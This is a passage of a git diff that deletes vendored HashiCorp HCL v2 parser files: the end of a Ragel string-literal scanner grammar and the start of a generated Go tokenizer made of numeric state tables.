(except you are actually in scan_string_lit.rl here, so edit away!) - - machine hclstrtok; - write data; -}%% - -func scanStringLit(data []byte, quoted bool) [][]byte { - var ret [][]byte - - %%{ - include UnicodeDerived "unicode_derived.rl"; - - UTF8Cont = 0x80 .. 0xBF; - AnyUTF8 = ( - 0x00..0x7F | - 0xC0..0xDF . UTF8Cont | - 0xE0..0xEF . UTF8Cont . UTF8Cont | - 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont - ); - BadUTF8 = any - AnyUTF8; - - Hex = ('0'..'9' | 'a'..'f' | 'A'..'F'); - - # Our goal with this patterns is to capture user intent as best as - # possible, even if the input is invalid. The caller will then verify - # whether each token is valid and generate suitable error messages - # if not. - UnicodeEscapeShort = "\\u" . Hex{0,4}; - UnicodeEscapeLong = "\\U" . Hex{0,8}; - UnicodeEscape = (UnicodeEscapeShort | UnicodeEscapeLong); - SimpleEscape = "\\" . (AnyUTF8 - ('U'|'u'))?; - TemplateEscape = ("$" . ("$" . ("{"?))?) | ("%" . ("%" . ("{"?))?); - Newline = ("\r\n" | "\r" | "\n"); - - action Begin { - // If te is behind p then we've skipped over some literal - // characters which we must now return. - if te < p { - ret = append(ret, data[te:p]) - } - ts = p; - } - action End { - te = p; - ret = append(ret, data[ts:te]); - } - - QuotedToken = (UnicodeEscape | SimpleEscape | TemplateEscape | Newline) >Begin %End; - UnquotedToken = (TemplateEscape | Newline) >Begin %End; - QuotedLiteral = (any - ("\\" | "$" | "%" | "\r" | "\n")); - UnquotedLiteral = (any - ("$" | "%" | "\r" | "\n")); - - quoted := (QuotedToken | QuotedLiteral)**; - unquoted := (UnquotedToken | UnquotedLiteral)**; - - }%% - - // Ragel state - p := 0 // "Pointer" into data - pe := len(data) // End-of-data "pointer" - ts := 0 - te := 0 - eof := pe - - var cs int // current state - switch { - case quoted: - cs = hclstrtok_en_quoted - default: - cs = hclstrtok_en_unquoted - } - - // Make Go compiler happy - _ = ts - _ = eof - - /*token := func () { - ret = append(ret, data[ts:te]) - }*/ - - %%{ - write init nocs; - write exec; - }%% - - if te < p { - // Collect any leftover literal characters at the end of the input - ret = append(ret, data[te:p]) - } - - // If we fall out here without being in a final state then we've - // encountered something that the scanner can't match, which should - // be impossible (the scanner matches all bytes _somehow_) but we'll - // tolerate it and let the caller deal with it. - if cs < hclstrtok_first_final { - ret = append(ret, data[p:len(data)]) - } - - return ret -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.go deleted file mode 100644 index 794123a851..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/scan_tokens.go +++ /dev/null @@ -1,5265 +0,0 @@ -//line scan_tokens.rl:1 - -package hclsyntax - -import ( - "bytes" - - "github.com/hashicorp/hcl/v2" -) - -// This file is generated from scan_tokens.rl. DO NOT EDIT. - -//line scan_tokens.go:15 -var _hcltok_actions []byte = []byte{ - 0, 1, 0, 1, 1, 1, 3, 1, 4, - 1, 7, 1, 8, 1, 9, 1, 10, - 1, 11, 1, 12, 1, 13, 1, 14, - 1, 15, 1, 16, 1, 17, 1, 18, - 1, 19, 1, 20, 1, 23, 1, 24, - 1, 25, 1, 26, 1, 27, 1, 28, - 1, 29, 1, 30, 1, 31, 1, 32, - 1, 35, 1, 36, 1, 37, 1, 38, - 1, 39, 1, 40, 1, 41, 1, 42, - 1, 43, 1, 44, 1, 47, 1, 48, - 1, 49, 1, 50, 1, 51, 1, 52, - 1, 53, 1, 56, 1, 57, 1, 58, - 1, 59, 1, 60, 1, 61, 1, 62, - 1, 63, 1, 64, 1, 65, 1, 66, - 1, 67, 1, 68, 1, 69, 1, 70, - 1, 71, 1, 72, 1, 73, 1, 74, - 1, 75, 1, 76, 1, 77, 1, 78, - 1, 79, 1, 80, 1, 81, 1, 82, - 1, 83, 1, 84, 1, 85, 2, 0, - 14, 2, 0, 25, 2, 0, 29, 2, - 0, 37, 2, 0, 41, 2, 1, 2, - 2, 4, 5, 2, 4, 6, 2, 4, - 21, 2, 4, 22, 2, 4, 33, 2, - 4, 34, 2, 4, 45, 2, 4, 46, - 2, 4, 54, 2, 4, 55, -} - -var _hcltok_key_offsets []int16 = []int16{ - 0, 0, 1, 2, 4, 9, 13, 15, - 57, 98, 144, 145, 149, 155, 155, 157, - 159, 168, 174, 181, 182, 185, 186, 190, - 195, 204, 208, 212, 220, 222, 224, 226, - 229, 261, 263, 265, 269, 273, 276, 287, - 300, 319, 332, 348, 360, 376, 391, 412, - 422, 434, 445, 459, 474, 484, 496, 505, - 517, 519, 523, 544, 553, 563, 569, 575, - 576, 625, 627, 631, 633, 639, 646, 654, - 661, 664, 670, 674, 678, 680, 684, 688, - 692, 698, 706, 714, 720, 722, 726, 728, - 734, 738, 742, 746, 750, 755, 762, 768, - 770, 772, 776, 778, 784, 788, 792, 802, - 807, 821, 836, 838, 846, 848, 853, 867, - 872, 874, 878, 879, 883, 889, 895, 905, - 915, 926, 934, 937, 940, 944, 948, 950, - 953, 953, 956, 958, 988, 990, 992, 996, - 1001, 1005, 1010, 1012, 1014, 1016, 1025, 1029, - 1033, 1039, 1041, 1049, 1057, 1069, 1072, 1078, - 1082, 1084, 1088, 1108, 1110, 1112, 1123, 1129, - 1131, 1133, 1135, 1139, 1145, 1151, 1153, 1158, - 1162, 1164, 1172, 1190, 1230, 1240, 1244, 1246, - 1248, 1249, 1253, 1257, 1261, 1265, 1269, 1274, - 1278, 1282, 1286, 1288, 1290, 1294, 1304, 1308, - 1310, 1314, 1318, 1322, 1335, 1337, 1339, 1343, - 1345, 1349, 1351, 1353, 1383, 1387, 1391, 1395, - 1398, 1405, 1410, 1421, 1425, 1441, 1455, 1459, - 1464, 1468, 1472, 1478, 1480, 1486, 1488, 1492, - 1494, 1500, 1505, 1510, 1520, 1522, 1524, 1528, - 1532, 1534, 1547, 1549, 1553, 1557, 1565, 1567, - 1571, 1573, 1574, 1577, 1582, 1584, 1586, 1590, - 1592, 1596, 1602, 1622, 1628, 1634, 1636, 1637, - 1647, 1648, 1656, 1663, 1665, 1668, 1670, 1672, - 1674, 1679, 1683, 1687, 1692, 1702, 1712, 1716, - 1720, 1734, 1760, 1770, 1772, 1774, 1777, 1779, - 1782, 1784, 1788, 1790, 1791, 1795, 1797, 1800, - 1807, 1815, 1817, 1819, 1823, 1825, 1831, 1842, - 1845, 1847, 1851, 1856, 1886, 1891, 1893, 1896, - 1901, 1915, 1922, 1936, 1941, 1954, 1958, 1971, - 1976, 1994, 1995, 2004, 2008, 2020, 2025, 2032, - 2039, 2046, 2048, 2052, 2074, 2079, 2080, 2084, - 2086, 2136, 2139, 2150, 2154, 2156, 2162, 2168, - 2170, 2175, 2177, 2181, 2183, 2184, 2186, 2188, - 2194, 2196, 2198, 2202, 2208, 2221, 2223, 2229, - 2233, 2241, 2252, 2260, 2263, 2293, 2299, 2302, - 2307, 2309, 2313, 2317, 2321, 2323, 2330, 2332, - 2341, 2348, 2356, 2358, 2378, 2390, 2394, 2396, - 2414, 2453, 2455, 2459, 2461, 2468, 2472, 2500, - 2502, 2504, 2506, 2508, 2511, 2513, 2517, 2521, - 2523, 2526, 2528, 2530, 2533, 2535, 2537, 2538, - 2540, 2542, 2546, 2550, 2553, 2566, 2568, 2574, - 2578, 2580, 2584, 2588, 2602, 2605, 2614, 2616, - 2620, 2626, 2626, 2628, 2630, 2639, 2645, 2652, - 2653, 2656, 2657, 2661, 2666, 2675, 2679, 2683, - 2691, 2693, 2695, 2697, 2700, 2732, 2734, 2736, - 2740, 2744, 2747, 2758, 2771, 2790, 2803, 2819, - 2831, 2847, 2862, 2883, 2893, 2905, 2916, 2930, - 2945, 2955, 2967, 2976, 2988, 2990, 2994, 3015, - 3024, 3034, 3040, 3046, 3047, 3096, 3098, 3102, - 3104, 3110, 3117, 3125, 3132, 3135, 3141, 3145, - 3149, 3151, 3155, 3159, 3163, 3169, 3177, 3185, - 3191, 3193, 3197, 3199, 3205, 3209, 3213, 3217, - 3221, 3226, 3233, 3239, 3241, 3243, 3247, 3249, - 3255, 3259, 3263, 3273, 3278, 3292, 3307, 3309, - 3317, 3319, 3324, 3338, 3343, 3345, 3349, 3350, - 3354, 3360, 3366, 3376, 3386, 3397, 3405, 3408, - 3411, 3415, 3419, 3421, 3424, 3424, 3427, 3429, - 3459, 3461, 3463, 3467, 3472, 3476, 3481, 3483, - 3485, 3487, 3496, 3500, 3504, 3510, 3512, 3520, - 3528, 3540, 3543, 3549, 3553, 3555, 3559, 3579, - 3581, 3583, 3594, 3600, 3602, 3604, 3606, 3610, - 3616, 3622, 3624, 3629, 3633, 3635, 3643, 3661, - 3701, 3711, 3715, 3717, 3719, 3720, 3724, 3728, - 3732, 3736, 3740, 3745, 3749, 3753, 3757, 3759, - 3761, 3765, 3775, 3779, 3781, 3785, 3789, 3793, - 3806, 3808, 3810, 3814, 3816, 3820, 3822, 3824, - 3854, 3858, 3862, 3866, 3869, 3876, 3881, 3892, - 3896, 3912, 3926, 3930, 3935, 3939, 3943, 3949, - 3951, 3957, 3959, 3963, 3965, 3971, 3976, 3981, - 3991, 3993, 3995, 3999, 4003, 4005, 4018, 4020, - 4024, 4028, 4036, 4038, 4042, 4044, 4045, 4048, - 4053, 4055, 4057, 4061, 4063, 4067, 4073, 4093, - 4099, 4105, 4107, 4108, 4118, 4119, 4127, 4134, - 4136, 4139, 4141, 4143, 4145, 4150, 4154, 4158, - 4163, 4173, 4183, 4187, 4191, 4205, 4231, 4241, - 4243, 4245, 4248, 4250, 4253, 4255, 4259, 4261, - 4262, 4266, 4268, 4270, 4277, 4281, 4288, 4295, - 4304, 4320, 4332, 4350, 4361, 4373, 4381, 4399, - 4407, 4437, 4440, 4450, 4460, 4472, 4483, 4492, - 4505, 4517, 4521, 4527, 4554, 4563, 4566, 4571, - 4577, 4582, 4603, 4607, 4613, 4613, 4620, 4629, - 4637, 4640, 4644, 4650, 4656, 4659, 4663, 4670, - 4676, 4685, 4694, 4698, 4702, 4706, 4710, 4717, - 4721, 4725, 4735, 4741, 4745, 4751, 4755, 4758, - 4764, 4770, 4782, 4786, 4790, 4800, 4804, 4815, - 4817, 4819, 4823, 4835, 4840, 4864, 4868, 4874, - 4896, 4905, 4909, 4912, 4913, 4921, 4929, 4935, - 4945, 4952, 4970, 4973, 4976, 4984, 4990, 4994, - 4998, 5002, 5008, 5016, 5021, 5027, 5031, 5039, - 5046, 5050, 5057, 5063, 5071, 5079, 5085, 5091, - 5102, 5106, 5118, 5127, 5144, 5161, 5164, 5168, - 5170, 5176, 5178, 5182, 5197, 5201, 5205, 5209, - 5213, 5217, 5219, 5225, 5230, 5234, 5240, 5247, - 5250, 5268, 5270, 5315, 5321, 5327, 5331, 5335, - 5341, 5345, 5351, 5357, 5364, 5366, 5372, 5378, - 5382, 5386, 5394, 5407, 5413, 5420, 5428, 5434, - 5443, 5449, 5453, 5458, 5462, 5470, 5474, 5478, - 5508, 5514, 5520, 5526, 5532, 5539, 5545, 5552, - 5557, 5567, 5571, 5578, 5584, 5588, 5595, 5599, - 5605, 5608, 5612, 5616, 5620, 5624, 5629, 5634, - 5638, 5649, 5653, 5657, 5663, 5671, 5675, 5692, - 5696, 5702, 5712, 5718, 5724, 5727, 5732, 5741, - 5745, 5749, 5755, 5759, 5765, 5773, 5791, 5792, - 5802, 5803, 5812, 5820, 5822, 5825, 5827, 5829, - 5831, 5836, 5849, 5853, 5868, 5897, 5908, 5910, - 5914, 5918, 5923, 5927, 5929, 5936, 5940, 5948, - 5952, 5964, 5966, 5968, 5970, 5972, 5974, 5975, - 5977, 5979, 5981, 5983, 5985, 5986, 5988, 5990, - 5992, 5994, 5996, 6000, 6006, 6006, 6008, 6010, - 6019, 6025, 6032, 6033, 6036, 6037, 6041, 6046, - 6055, 6059, 6063, 6071, 6073, 6075, 6077, 6080, - 6112, 6114, 6116, 6120, 6124, 6127, 6138, 6151, - 6170, 6183, 6199, 6211, 6227, 6242, 6263, 6273, - 6285, 6296, 6310, 6325, 6335, 6347, 6356, 6368, - 6370, 6374, 6395, 6404, 6414, 6420, 6426, 6427, - 6476, 6478, 6482, 6484, 6490, 6497, 6505, 6512, - 6515, 6521, 6525, 6529, 6531, 6535, 6539, 6543, - 6549, 6557, 6565, 6571, 6573, 6577, 6579, 6585, - 6589, 6593, 6597, 6601, 6606, 6613, 6619, 6621, - 6623, 6627, 6629, 6635, 6639, 6643, 6653, 6658, - 6672, 6687, 6689, 6697, 6699, 6704, 6718, 6723, - 6725, 6729, 6730, 6734, 6740, 6746, 6756, 6766, - 6777, 6785, 6788, 6791, 6795, 6799, 6801, 6804, - 6804, 6807, 6809, 6839, 6841, 6843, 6847, 6852, - 6856, 6861, 6863, 6865, 6867, 6876, 6880, 6884, - 6890, 6892, 6900, 6908, 6920, 6923, 6929, 6933, - 6935, 6939, 6959, 6961, 6963, 6974, 6980, 6982, - 6984, 6986, 6990, 6996, 7002, 7004, 7009, 7013, - 7015, 7023, 7041, 7081, 7091, 7095, 7097, 7099, - 7100, 7104, 7108, 7112, 7116, 7120, 7125, 7129, - 7133, 7137, 7139, 7141, 7145, 7155, 7159, 7161, - 7165, 7169, 7173, 7186, 7188, 7190, 7194, 7196, - 7200, 7202, 7204, 7234, 7238, 7242, 7246, 7249, - 7256, 7261, 7272, 7276, 7292, 7306, 7310, 7315, - 7319, 7323, 7329, 7331, 7337, 7339, 7343, 7345, - 7351, 7356, 7361, 7371, 7373, 7375, 7379, 7383, - 7385, 7398, 7400, 7404, 7408, 7416, 7418, 7422, - 7424, 7425, 7428, 7433, 7435, 7437, 7441, 7443, - 7447, 7453, 7473, 7479, 7485, 7487, 7488, 7498, - 7499, 7507, 7514, 7516, 7519, 7521, 7523, 7525, - 7530, 7534, 7538, 7543, 7553, 7563, 7567, 7571, - 7585, 7611, 7621, 7623, 7625, 7628, 7630, 7633, - 7635, 7639, 7641, 7642, 7646, 7648, 7650, 7657, - 7661, 7668, 7675, 7684, 7700, 7712, 7730, 7741, - 7753, 7761, 7779, 7787, 7817, 7820, 7830, 7840, - 7852, 7863, 7872, 7885, 7897, 7901, 7907, 7934, - 7943, 7946, 7951, 7957, 7962, 7983, 7987, 7993, - 7993, 8000, 8009, 8017, 8020, 8024, 8030, 8036, - 8039, 8043, 8050, 8056, 8065, 8074, 8078, 8082, - 8086, 8090, 8097, 8101, 8105, 8115, 8121, 8125, - 8131, 8135, 8138, 8144, 8150, 8162, 8166, 8170, - 8180, 8184, 8195, 8197, 8199, 8203, 8215, 8220, - 8244, 8248, 8254, 8276, 8285, 8289, 8292, 8293, - 8301, 8309, 8315, 8325, 8332, 8350, 8353, 8356, - 8364, 8370, 8374, 8378, 8382, 8388, 8396, 8401, - 8407, 8411, 8419, 8426, 8430, 8437, 8443, 8451, - 8459, 8465, 8471, 8482, 8486, 8498, 8507, 8524, - 8541, 8544, 8548, 8550, 8556, 8558, 8562, 8577, - 8581, 8585, 8589, 8593, 8597, 8599, 8605, 8610, - 8614, 8620, 8627, 8630, 8648, 8650, 8695, 8701, - 8707, 8711, 8715, 8721, 8725, 8731, 8737, 8744, - 8746, 8752, 8758, 8762, 8766, 8774, 8787, 8793, - 8800, 8808, 8814, 8823, 8829, 8833, 8838, 8842, - 8850, 8854, 8858, 8888, 8894, 8900, 8906, 8912, - 8919, 8925, 8932, 8937, 8947, 8951, 8958, 8964, - 8968, 8975, 8979, 8985, 8988, 8992, 8996, 9000, - 9004, 9009, 9014, 9018, 9029, 9033, 9037, 9043, - 9051, 9055, 9072, 9076, 9082, 9092, 9098, 9104, - 9107, 9112, 9121, 9125, 9129, 9135, 9139, 9145, - 9153, 9171, 9172, 9182, 9183, 9192, 9200, 9202, - 9205, 9207, 9209, 9211, 9216, 9229, 9233, 9248, - 9277, 9288, 9290, 9294, 9298, 9303, 9307, 9309, - 9316, 9320, 9328, 9332, 9407, 9409, 9410, 9411, - 9412, 9413, 9414, 9416, 9421, 9423, 9425, 9426, - 9470, 9471, 9472, 9474, 9479, 9483, 9483, 9485, - 9487, 9498, 9508, 9516, 9517, 9519, 9520, 9524, - 9528, 9538, 9542, 9549, 9560, 9567, 9571, 9577, - 9588, 9620, 9669, 9684, 9699, 9704, 9706, 9711, - 9743, 9751, 9753, 9775, 9797, 9799, 9815, 9831, - 9833, 9835, 9835, 9836, 9837, 9838, 9840, 9841, - 9853, 9855, 9857, 9859, 9873, 9887, 9889, 9892, - 9895, 9897, 9898, 9899, 9901, 9903, 9905, 9919, - 9933, 9935, 9938, 9941, 9943, 9944, 9945, 9947, - 9949, 9951, 10000, 10044, 10046, 10051, 10055, 10055, - 10057, 10059, 10070, 10080, 10088, 10089, 10091, 10092, - 10096, 10100, 10110, 10114, 10121, 10132, 10139, 10143, - 10149, 10160, 10192, 10241, 10256, 10271, 10276, 10278, - 10283, 10315, 10323, 10325, 10347, 10369, -} - -var _hcltok_trans_keys []byte = []byte{ - 46, 42, 42, 47, 46, 69, 101, 48, - 57, 43, 45, 48, 57, 48, 57, 45, - 95, 194, 195, 198, 199, 203, 205, 206, - 207, 210, 212, 213, 214, 215, 216, 217, - 219, 220, 221, 222, 223, 224, 225, 226, - 227, 228, 233, 234, 237, 239, 240, 65, - 90, 97, 122, 196, 202, 208, 218, 229, - 236, 95, 194, 195, 198, 199, 203, 205, - 206, 207, 210, 212, 213, 214, 215, 216, - 217, 219, 220, 221, 222, 223, 224, 225, - 226, 227, 228, 233, 234, 237, 239, 240, - 65, 90, 97, 122, 196, 202, 208, 218, - 229, 236, 10, 13, 45, 95, 194, 195, - 198, 199, 203, 204, 205, 206, 207, 210, - 212, 213, 214, 215, 216, 217, 219, 220, - 221, 222, 223, 224, 225, 226, 227, 228, - 233, 234, 237, 239, 240, 243, 48, 57, - 65, 90, 97, 122, 196, 218, 229, 236, - 10, 170, 181, 183, 186, 128, 150, 152, - 182, 184, 255, 192, 255, 128, 255, 173, - 130, 133, 146, 159, 165, 171, 175, 255, - 181, 190, 184, 185, 192, 255, 140, 134, - 138, 142, 161, 163, 255, 182, 130, 136, - 137, 176, 151, 152, 154, 160, 190, 136, - 144, 192, 255, 135, 129, 130, 132, 133, - 144, 170, 176, 178, 144, 154, 160, 191, - 128, 169, 174, 255, 148, 169, 157, 158, - 189, 190, 192, 255, 144, 255, 139, 140, - 178, 255, 186, 128, 181, 160, 161, 162, - 163, 164, 165, 166, 167, 168, 169, 170, - 171, 172, 173, 174, 175, 176, 177, 178, - 179, 180, 181, 182, 183, 184, 185, 186, - 187, 188, 189, 190, 191, 128, 173, 128, - 155, 160, 180, 182, 189, 148, 161, 163, - 255, 176, 164, 165, 132, 169, 177, 141, - 142, 145, 146, 179, 181, 186, 187, 158, - 133, 134, 137, 138, 143, 150, 152, 155, - 164, 165, 178, 255, 188, 129, 131, 133, - 138, 143, 144, 147, 168, 170, 176, 178, - 179, 181, 182, 184, 185, 190, 255, 157, - 131, 134, 137, 138, 142, 144, 146, 152, - 159, 165, 182, 255, 129, 131, 133, 141, - 143, 145, 147, 168, 170, 176, 178, 179, - 181, 185, 188, 255, 134, 138, 142, 143, - 145, 159, 164, 165, 176, 184, 186, 255, - 129, 131, 133, 140, 143, 144, 147, 168, - 170, 176, 178, 179, 181, 185, 188, 191, - 177, 128, 132, 135, 136, 139, 141, 150, - 151, 156, 157, 159, 163, 166, 175, 156, - 130, 131, 133, 138, 142, 144, 146, 149, - 153, 154, 158, 159, 163, 164, 168, 170, - 174, 185, 190, 191, 144, 151, 128, 130, - 134, 136, 138, 141, 166, 175, 128, 131, - 133, 140, 142, 144, 146, 168, 170, 185, - 189, 255, 133, 137, 151, 142, 148, 155, - 159, 164, 165, 176, 255, 128, 131, 133, - 140, 142, 144, 146, 168, 170, 179, 181, - 185, 188, 191, 158, 128, 132, 134, 136, - 138, 141, 149, 150, 160, 163, 166, 175, - 177, 178, 129, 131, 133, 140, 142, 144, - 146, 186, 189, 255, 133, 137, 143, 147, - 152, 158, 164, 165, 176, 185, 192, 255, - 189, 130, 131, 133, 150, 154, 177, 179, - 187, 138, 150, 128, 134, 143, 148, 152, - 159, 166, 175, 178, 179, 129, 186, 128, - 142, 144, 153, 132, 138, 141, 165, 167, - 129, 130, 135, 136, 148, 151, 153, 159, - 161, 163, 170, 171, 173, 185, 187, 189, - 134, 128, 132, 136, 141, 144, 153, 156, - 159, 128, 181, 183, 185, 152, 153, 160, - 169, 190, 191, 128, 135, 137, 172, 177, - 191, 128, 132, 134, 151, 153, 188, 134, - 128, 129, 130, 131, 137, 138, 139, 140, - 141, 142, 143, 144, 153, 154, 155, 156, - 157, 158, 159, 160, 161, 162, 163, 164, - 165, 166, 167, 168, 169, 170, 173, 175, - 176, 177, 178, 179, 181, 182, 183, 188, - 189, 190, 191, 132, 152, 172, 184, 185, - 187, 128, 191, 128, 137, 144, 255, 158, - 159, 134, 187, 136, 140, 142, 143, 137, - 151, 153, 142, 143, 158, 159, 137, 177, - 142, 143, 182, 183, 191, 255, 128, 130, - 133, 136, 150, 152, 255, 145, 150, 151, - 155, 156, 160, 168, 178, 255, 128, 143, - 160, 255, 182, 183, 190, 255, 129, 255, - 173, 174, 192, 255, 129, 154, 160, 255, - 171, 173, 185, 255, 128, 140, 142, 148, - 160, 180, 128, 147, 160, 172, 174, 176, - 178, 179, 148, 150, 152, 155, 158, 159, - 170, 255, 139, 141, 144, 153, 160, 255, - 184, 255, 128, 170, 176, 255, 182, 255, - 128, 158, 160, 171, 176, 187, 134, 173, - 176, 180, 128, 171, 176, 255, 138, 143, - 155, 255, 128, 155, 160, 255, 159, 189, - 190, 192, 255, 167, 128, 137, 144, 153, - 176, 189, 140, 143, 154, 170, 180, 255, - 180, 255, 128, 183, 128, 137, 141, 189, - 128, 136, 144, 146, 148, 182, 184, 185, - 128, 181, 187, 191, 150, 151, 158, 159, - 152, 154, 156, 158, 134, 135, 142, 143, - 190, 255, 190, 128, 180, 182, 188, 130, - 132, 134, 140, 144, 147, 150, 155, 160, - 172, 178, 180, 182, 188, 128, 129, 130, - 131, 132, 133, 134, 176, 177, 178, 179, - 180, 181, 182, 183, 191, 255, 129, 147, - 149, 176, 178, 190, 192, 255, 144, 156, - 161, 144, 156, 165, 176, 130, 135, 149, - 164, 166, 168, 138, 147, 152, 157, 170, - 185, 188, 191, 142, 133, 137, 160, 255, - 137, 255, 128, 174, 176, 255, 159, 165, - 170, 180, 255, 167, 173, 128, 165, 176, - 255, 168, 174, 176, 190, 192, 255, 128, - 150, 160, 166, 168, 174, 176, 182, 184, - 190, 128, 134, 136, 142, 144, 150, 152, - 158, 160, 191, 128, 129, 130, 131, 132, - 133, 134, 135, 144, 145, 255, 133, 135, - 161, 175, 177, 181, 184, 188, 160, 151, - 152, 187, 192, 255, 133, 173, 177, 255, - 143, 159, 187, 255, 176, 191, 182, 183, - 184, 191, 192, 255, 150, 255, 128, 146, - 147, 148, 152, 153, 154, 155, 156, 158, - 159, 160, 161, 162, 163, 164, 165, 166, - 167, 168, 169, 170, 171, 172, 173, 174, - 175, 176, 129, 255, 141, 255, 144, 189, - 141, 143, 172, 255, 191, 128, 175, 180, - 189, 151, 159, 162, 255, 175, 137, 138, - 184, 255, 183, 255, 168, 255, 128, 179, - 188, 134, 143, 154, 159, 184, 186, 190, - 255, 128, 173, 176, 255, 148, 159, 189, - 255, 129, 142, 154, 159, 191, 255, 128, - 182, 128, 141, 144, 153, 160, 182, 186, - 255, 128, 130, 155, 157, 160, 175, 178, - 182, 129, 134, 137, 142, 145, 150, 160, - 166, 168, 174, 176, 255, 155, 166, 175, - 128, 170, 172, 173, 176, 185, 158, 159, - 160, 255, 164, 175, 135, 138, 188, 255, - 164, 169, 171, 172, 173, 174, 175, 180, - 181, 182, 183, 184, 185, 187, 188, 189, - 190, 191, 165, 186, 174, 175, 154, 255, - 190, 128, 134, 147, 151, 157, 168, 170, - 182, 184, 188, 128, 129, 131, 132, 134, - 255, 147, 255, 190, 255, 144, 145, 136, - 175, 188, 255, 128, 143, 160, 175, 179, - 180, 141, 143, 176, 180, 182, 255, 189, - 255, 191, 144, 153, 161, 186, 129, 154, - 166, 255, 191, 255, 130, 135, 138, 143, - 146, 151, 154, 156, 144, 145, 146, 147, - 148, 150, 151, 152, 155, 157, 158, 160, - 170, 171, 172, 175, 161, 169, 128, 129, - 130, 131, 133, 135, 138, 139, 140, 141, - 142, 143, 144, 145, 146, 147, 148, 149, - 152, 156, 157, 160, 161, 162, 163, 164, - 166, 168, 169, 170, 171, 172, 173, 174, - 176, 177, 153, 155, 178, 179, 128, 139, - 141, 166, 168, 186, 188, 189, 191, 255, - 142, 143, 158, 255, 187, 255, 128, 180, - 189, 128, 156, 160, 255, 145, 159, 161, - 255, 128, 159, 176, 255, 139, 143, 187, - 255, 128, 157, 160, 255, 144, 132, 135, - 150, 255, 158, 159, 170, 175, 148, 151, - 188, 255, 128, 167, 176, 255, 164, 255, - 183, 255, 128, 149, 160, 167, 136, 188, - 128, 133, 138, 181, 183, 184, 191, 255, - 150, 159, 183, 255, 128, 158, 160, 178, - 180, 181, 128, 149, 160, 185, 128, 183, - 190, 191, 191, 128, 131, 133, 134, 140, - 147, 149, 151, 153, 179, 184, 186, 160, - 188, 128, 156, 128, 135, 137, 166, 128, - 181, 128, 149, 160, 178, 128, 145, 128, - 178, 129, 130, 131, 132, 133, 135, 136, - 138, 139, 140, 141, 144, 145, 146, 147, - 150, 151, 152, 153, 154, 155, 156, 162, - 163, 171, 176, 177, 178, 128, 134, 135, - 165, 176, 190, 144, 168, 176, 185, 128, - 180, 182, 191, 182, 144, 179, 155, 133, - 137, 141, 143, 157, 255, 190, 128, 145, - 147, 183, 136, 128, 134, 138, 141, 143, - 157, 159, 168, 176, 255, 171, 175, 186, - 255, 128, 131, 133, 140, 143, 144, 147, - 168, 170, 176, 178, 179, 181, 185, 188, - 191, 144, 151, 128, 132, 135, 136, 139, - 141, 157, 163, 166, 172, 176, 180, 128, - 138, 144, 153, 134, 136, 143, 154, 255, - 128, 181, 184, 255, 129, 151, 158, 255, - 129, 131, 133, 143, 154, 255, 128, 137, - 128, 153, 157, 171, 176, 185, 160, 255, - 170, 190, 192, 255, 128, 184, 128, 136, - 138, 182, 184, 191, 128, 144, 153, 178, - 255, 168, 144, 145, 183, 255, 128, 142, - 145, 149, 129, 141, 144, 146, 147, 148, - 175, 255, 132, 255, 128, 144, 129, 143, - 144, 153, 145, 152, 135, 255, 160, 168, - 169, 171, 172, 173, 174, 188, 189, 190, - 191, 161, 167, 185, 255, 128, 158, 160, - 169, 144, 173, 176, 180, 128, 131, 144, - 153, 163, 183, 189, 255, 144, 255, 133, - 143, 191, 255, 143, 159, 160, 128, 129, - 255, 159, 160, 171, 172, 255, 173, 255, - 179, 255, 128, 176, 177, 178, 128, 129, - 171, 175, 189, 255, 128, 136, 144, 153, - 157, 158, 133, 134, 137, 144, 145, 146, - 147, 148, 149, 154, 155, 156, 157, 158, - 159, 168, 169, 170, 150, 153, 165, 169, - 173, 178, 187, 255, 131, 132, 140, 169, - 174, 255, 130, 132, 149, 157, 173, 186, - 188, 160, 161, 163, 164, 167, 168, 132, - 134, 149, 157, 186, 139, 140, 191, 255, - 134, 128, 132, 138, 144, 146, 255, 166, - 167, 129, 155, 187, 149, 181, 143, 175, - 137, 169, 131, 140, 141, 192, 255, 128, - 182, 187, 255, 173, 180, 182, 255, 132, - 155, 159, 161, 175, 128, 160, 163, 164, - 165, 184, 185, 186, 161, 162, 128, 134, - 136, 152, 155, 161, 163, 164, 166, 170, - 133, 143, 151, 255, 139, 143, 154, 255, - 164, 167, 185, 187, 128, 131, 133, 159, - 161, 162, 169, 178, 180, 183, 130, 135, - 137, 139, 148, 151, 153, 155, 157, 159, - 164, 190, 141, 143, 145, 146, 161, 162, - 167, 170, 172, 178, 180, 183, 185, 188, - 128, 137, 139, 155, 161, 163, 165, 169, - 171, 187, 155, 156, 151, 255, 156, 157, - 160, 181, 255, 186, 187, 255, 162, 255, - 160, 168, 161, 167, 158, 255, 160, 132, - 135, 133, 134, 176, 255, 170, 181, 186, - 191, 176, 180, 182, 183, 186, 189, 134, - 140, 136, 138, 142, 161, 163, 255, 130, - 137, 136, 255, 144, 170, 176, 178, 160, - 191, 128, 138, 174, 175, 177, 255, 148, - 150, 164, 167, 173, 176, 185, 189, 190, - 192, 255, 144, 146, 175, 141, 255, 166, - 176, 178, 255, 186, 138, 170, 180, 181, - 160, 161, 162, 164, 165, 166, 167, 168, - 169, 170, 171, 172, 173, 174, 175, 176, - 177, 178, 179, 180, 181, 182, 184, 186, - 187, 188, 189, 190, 183, 185, 154, 164, - 168, 128, 149, 128, 152, 189, 132, 185, - 144, 152, 161, 177, 255, 169, 177, 129, - 132, 141, 142, 145, 146, 179, 181, 186, - 188, 190, 255, 142, 156, 157, 159, 161, - 176, 177, 133, 138, 143, 144, 147, 168, - 170, 176, 178, 179, 181, 182, 184, 185, - 158, 153, 156, 178, 180, 189, 133, 141, - 143, 145, 147, 168, 170, 176, 178, 179, - 181, 185, 144, 185, 160, 161, 189, 133, - 140, 143, 144, 147, 168, 170, 176, 178, - 179, 181, 185, 177, 156, 157, 159, 161, - 131, 156, 133, 138, 142, 144, 146, 149, - 153, 154, 158, 159, 163, 164, 168, 170, - 174, 185, 144, 189, 133, 140, 142, 144, - 146, 168, 170, 185, 152, 154, 160, 161, - 128, 189, 133, 140, 142, 144, 146, 168, - 170, 179, 181, 185, 158, 160, 161, 177, - 178, 189, 133, 140, 142, 144, 146, 186, - 142, 148, 150, 159, 161, 186, 191, 189, - 133, 150, 154, 177, 179, 187, 128, 134, - 129, 176, 178, 179, 132, 138, 141, 165, - 167, 189, 129, 